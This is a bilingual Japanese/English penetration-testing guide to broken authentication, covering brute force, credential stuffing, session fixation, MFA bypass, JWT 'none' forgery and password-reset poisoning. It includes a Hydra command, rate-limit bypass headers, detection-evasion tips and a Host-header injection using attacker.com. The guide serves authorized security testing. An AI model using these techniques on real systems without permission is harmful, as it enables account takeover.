Broken Authentication Testing

認証の不備に関するテスト

目的

Web アプリケーションにおける認証およびセッション管理の脆弱性を特定し、悪用可能性を検証します。認証の不備は OWASP Top 10 に継続的にランクインしており、アカウント乗っ取り、ID 窃取、機密システムへの不正アクセスにつながる可能性があります。このスキルでは、パスワードポリシー、セッション処理、多要素認証、認証情報管理に関するテスト手法を扱います。

前提条件

必要な知識

• HTTP プロトコルとセッションの仕組み
• 認証の種類（SFA、2FA、MFA）
• Cookie およびトークンの取り扱い
• 一般的な認証フレームワーク

必要なツール

• Burp Suite Professional または Community
• Hydra などの類似のブルートフォースツール
• 認証情報テスト用のカスタムワードリスト
• ブラウザの開発者ツール

必要なアクセス権

• 対象アプリケーションの URL
• テスト用アカウントの認証情報
• テスト実施に関する書面による許可

成果物

1. 認証評価レポート - 特定されたすべての脆弱性を文書化
2. 認証情報テストの結果 - ブルートフォースおよび辞書攻撃の結果
3. セッションセキュリティ分析 - トークンのランダム性およびタイムアウトの評価
4. 修正に関する推奨事項 - セキュリティ強化のガイダンス

基本的なワークフロー

フェーズ 1: 認証メカニズムの分析

アプリケーションの認証アーキテクチャを把握します:

# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)

# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*

認証リクエストをキャプチャして分析します:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test123

フェーズ 2: パスワードポリシーのテスト

パスワード要件と適用状況を評価します:

# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)

ポリシーの不備を文書化します: 最小長が 8 文字未満、複雑性の要件がない、一般的なパスワードが許可されている、ユーザー名がパスワードとして使用可能、などです。

フェーズ 3: 認証情報の列挙

ユーザー名列挙の脆弱性をテストします:

# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages

パスワードリセット

「アカウントが存在する場合、メールを送信しました」（安全） 「そのメールアドレスのアカウントは存在しません」（情報を漏えいする）

API のレスポンス

{"error": "user_not_found"} {"error": "invalid_password"}

### Phase 4: Brute Force Testing

Test account lockout and rate limiting:

```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes

保護機能を確認します:

# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?

# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?

# CAPTCHA
- After failed attempts?
- Easily bypassable?

フェーズ 5: クレデンシャルスタッフィング

既知の漏えい済み認証情報を用いてテストします:

# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches

# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins

# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts

フェーズ 6: セッション管理のテスト

セッショントークンのセキュリティを分析します:

# Capture session cookie
Cookie: SESSIONID=abc123def456

# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?

セッショントークンの分析:

#!/usr/bin/env python3
import requests
import hashlib

# Collect multiple session tokens
tokens = []
for i in range(100):
    response = requests.get("https://target.com/login")
    token = response.cookies.get("SESSIONID")
    tokens.append(token)

# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components

フェーズ 7: セッション固定化のテスト

認証後にセッションが再生成されるかをテストします:

# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123

# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid

# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login

攻撃シナリオ:

# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
   https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session

フェーズ 8: セッションタイムアウトのテスト

セッションの有効期限ポリシーを検証します:

# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid

# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)

# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side

フェーズ 9: 多要素認証のテスト

MFA 実装のセキュリティを評価します:

# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint

# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse

# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls

# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass

MFA の登録をテストします:

# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?

# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?

フェーズ 10: パスワードリセットのテスト

パスワードリセットのセキュリティを分析します:

# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
   - Length and randomness
   - Expiration time
   - Single-use enforcement
   - Account binding

# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token

# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
[email protected]
# Reset email may contain attacker's domain

クイックリファレンス

一般的な脆弱性の種類

脆弱性	リスク	テスト方法
弱いパスワード	高	ポリシーのテスト、辞書攻撃
ロックアウトなし	高	ブルートフォーステスト
ユーザー名の列挙	中	差分レスポンス分析
セッション固定化	高	ログイン前後のセッション比較
弱いセッショントークン	高	エントロピー分析
セッションタイムアウトなし	中	長時間セッションのテスト
安全でないパスワードリセット	高	トークン分析、ワークフローのバイパス
MFA のバイパス	重大	直接アクセス、レスポンスの改ざん

認証情報テスト用のペイロード

# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user

# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123

# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists

セッション Cookie のフラグ

フラグ	目的	欠如時の脆弱性
HttpOnly	JavaScript からのアクセスを防止	XSS によりセッションが窃取される可能性
Secure	HTTPS のみ	HTTP で送信される
SameSite	CSRF 対策	クロスサイトリクエストが許可される
Path	URL の適用範囲	公開範囲が広がる
Domain	ドメインの適用範囲	サブドメインからのアクセス
Expires	有効期間	セッションが永続化する

レート制限回避用のヘッダー

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

制約と制限事項

法的要件

• 明示的な書面による許可を得た場合にのみテストを実施すること
• 実際に漏えいした認証情報を用いたテストは避けること
• 実在するユーザーアカウントにはアクセしないこと
• テスト活動をすべて文書化すること

技術的な制限

• CAPTCHA により自動テストが妨げられる場合があります
• レート制限はブルートフォース攻撃のタイミングに影響します
• MFA により攻撃の難易度が大幅に上がります
• 一部の脆弱性は被害者の操作を必要とします

スコープに関する考慮事項

• テスト用アカウントは本番環境のアカウントと異なる動作をする場合があります
• テスト環境では一部の機能が無効になっている場合があります
• サードパーティ認証はスコープ外となる場合があります
• 本番環境でのテストには特に注意が必要です

例

例 1: アカウントロックアウトのバイパス

シナリオ: アカウントロックアウトをバイパスできるかどうかをテストします

# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"

# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1

# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked

# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts

例 2: JWT トークン攻撃

シナリオ: 脆弱な JWT 実装を悪用します

# Step 1: Capture JWT token
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

# Step 2: Decode and analyze
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"user":"test","role":"user"}

# Step 3: Try "none" algorithm attack
# Change header to: {"alg":"none","typ":"JWT"}
# Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

# Step 4: Submit modified token
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

例 3: パスワードリセットトークンの悪用

シナリオ: パスワードリセット機能をテストします

# Step 1: Request reset for test account
POST /forgot-password
[email protected]

# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6

# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token

# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&[email protected]
# Check if admin's password can be reset with test user's token

トラブルシューティング

問題	解決策
ブルートフォースが遅すぎる	レート制限の適用範囲を特定する。IP ローテーションを使用する。遅延を追加する。ターゲットを絞ったワードリストを使用する
セッション分析で結論が出ない	1000 件以上のトークンを収集する。統計ツールを使用する。タイムスタンプを確認する。アカウント間で比較する
MFA をバイパスできない	安全であると記録する。バックアップおよびリカバリの仕組みをテストする。MFA 疲労攻撃を確認する。登録状態を検証する
アカウントロックアウトによりテストできない	複数のテスト用アカウントを依頼する。まずしきい値をテストする。より遅いタイミングを使用する